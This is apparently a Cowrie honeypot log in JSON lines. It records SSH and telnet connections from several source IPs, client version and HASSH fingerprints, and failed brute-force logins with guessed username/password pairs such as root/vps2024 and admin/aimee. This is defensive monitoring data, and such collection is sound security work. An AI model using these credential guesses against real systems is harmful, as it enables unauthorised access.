{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:38.883343Z","src_ip":"159.203.92.129","session":"44378830d458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"12345","message":"login attempt [aaa/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:38.894592Z","src_ip":"159.203.92.129","session":"44378830d458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:39.900569Z","src_ip":"159.203.92.129","session":"44378830d458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.162.148.179","src_port":31033,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f52a8b55b62","protocol":"telnet","message":"New connection: 122.162.148.179:31033 (10.17.0.5:23) [session: 3f52a8b55b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:50.065311Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":38626,"dst_ip":"159.203.135.109","dst_port":22,"session":"638c70959647","protocol":"ssh","message":"New connection: 103.63.108.25:38626 (159.203.135.109:22) [session: 638c70959647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:50.846866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:50.856113Z","src_ip":"103.63.108.25","session":"638c70959647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:51.129341Z","src_ip":"103.63.108.25","session":"638c70959647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":56658,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfcfe1bec27f","protocol":"ssh","message":"New connection: 152.32.238.146:56658 (10.17.0.5:22) [session: cfcfe1bec27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:51.381418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:51.385631Z","src_ip":"152.32.238.146","session":"cfcfe1bec27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:51.395850Z","src_ip":"152.32.238.146","session":"cfcfe1bec27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123$","message":"login attempt [ubuntu/ubuntu123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:51.469363Z","src_ip":"152.32.238.146","session":"cfcfe1bec27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"devdev123","message":"login attempt [dev/devdev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:52.249515Z","src_ip":"103.63.108.25","session":"638c70959647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:52.482356Z","src_ip":"152.32.238.146","session":"cfcfe1bec27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:53.529587Z","src_ip":"103.63.108.25","session":"638c70959647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.638720989227295,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:03.703791Z","src_ip":"122.162.148.179","session":"3f52a8b55b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59982,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7f2ec07c6ea","protocol":"ssh","message":"New connection: 159.203.92.129:59982 (159.203.135.109:22) [session: b7f2ec07c6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:22.384240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:22.388789Z","src_ip":"159.203.92.129","session":"b7f2ec07c6ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:22.393123Z","src_ip":"159.203.92.129","session":"b7f2ec07c6ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:22.405139Z","src_ip":"159.203.92.129","session":"b7f2ec07c6ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:23.412778Z","src_ip":"159.203.92.129","session":"b7f2ec07c6ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":52884,"dst_ip":"10.17.0.5","dst_port":22,"session":"579562aa59ae","protocol":"ssh","message":"New connection: 152.32.238.146:52884 (10.17.0.5:22) [session: 579562aa59ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:36.005448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:36.010464Z","src_ip":"152.32.238.146","session":"579562aa59ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:36.031901Z","src_ip":"152.32.238.146","session":"579562aa59ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"P@ssw0rd","message":"login attempt [test1/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:36.115721Z","src_ip":"152.32.238.146","session":"579562aa59ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:37.130685Z","src_ip":"152.32.238.146","session":"579562aa59ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":44604,"dst_ip":"159.203.135.109","dst_port":22,"session":"644c973848f6","protocol":"ssh","message":"New connection: 103.63.108.25:44604 (159.203.135.109:22) [session: 644c973848f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:54.660490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:54.665224Z","src_ip":"103.63.108.25","session":"644c973848f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:54.949542Z","src_ip":"103.63.108.25","session":"644c973848f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps2024","message":"login attempt [root/vps2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:56.090674Z","src_ip":"103.63.108.25","session":"644c973848f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:57.373648Z","src_ip":"103.63.108.25","session":"644c973848f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":56821,"dst_ip":"159.203.135.109","dst_port":23,"session":"c05fb88f5f8c","protocol":"telnet","message":"New connection: 152.59.19.2:56821 (159.203.135.109:23) [session: c05fb88f5f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:57.732035Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":30825,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2b2496cb083","protocol":"telnet","message":"New connection: 152.59.19.2:30825 (159.203.135.109:23) [session: a2b2496cb083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:27:59.207309Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40520,"dst_ip":"159.203.135.109","dst_port":22,"session":"b63d204db821","protocol":"ssh","message":"New connection: 159.203.92.129:40520 (159.203.135.109:22) [session: b63d204db821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:06.771876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:06.776587Z","src_ip":"159.203.92.129","session":"b63d204db821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:06.781577Z","src_ip":"159.203.92.129","session":"b63d204db821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"12345678","message":"login attempt [aaa/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:06.795103Z","src_ip":"159.203.92.129","session":"b63d204db821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:07.831758Z","src_ip":"159.203.92.129","session":"b63d204db821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":56192,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1b951014dee","protocol":"ssh","message":"New connection: 152.32.238.146:56192 (10.17.0.5:22) [session: e1b951014dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:18.373832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:18.378589Z","src_ip":"152.32.238.146","session":"e1b951014dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:18.390169Z","src_ip":"152.32.238.146","session":"e1b951014dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aimee","message":"login attempt [admin/aimee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:18.479295Z","src_ip":"152.32.238.146","session":"e1b951014dee","protocol":"ssh"}
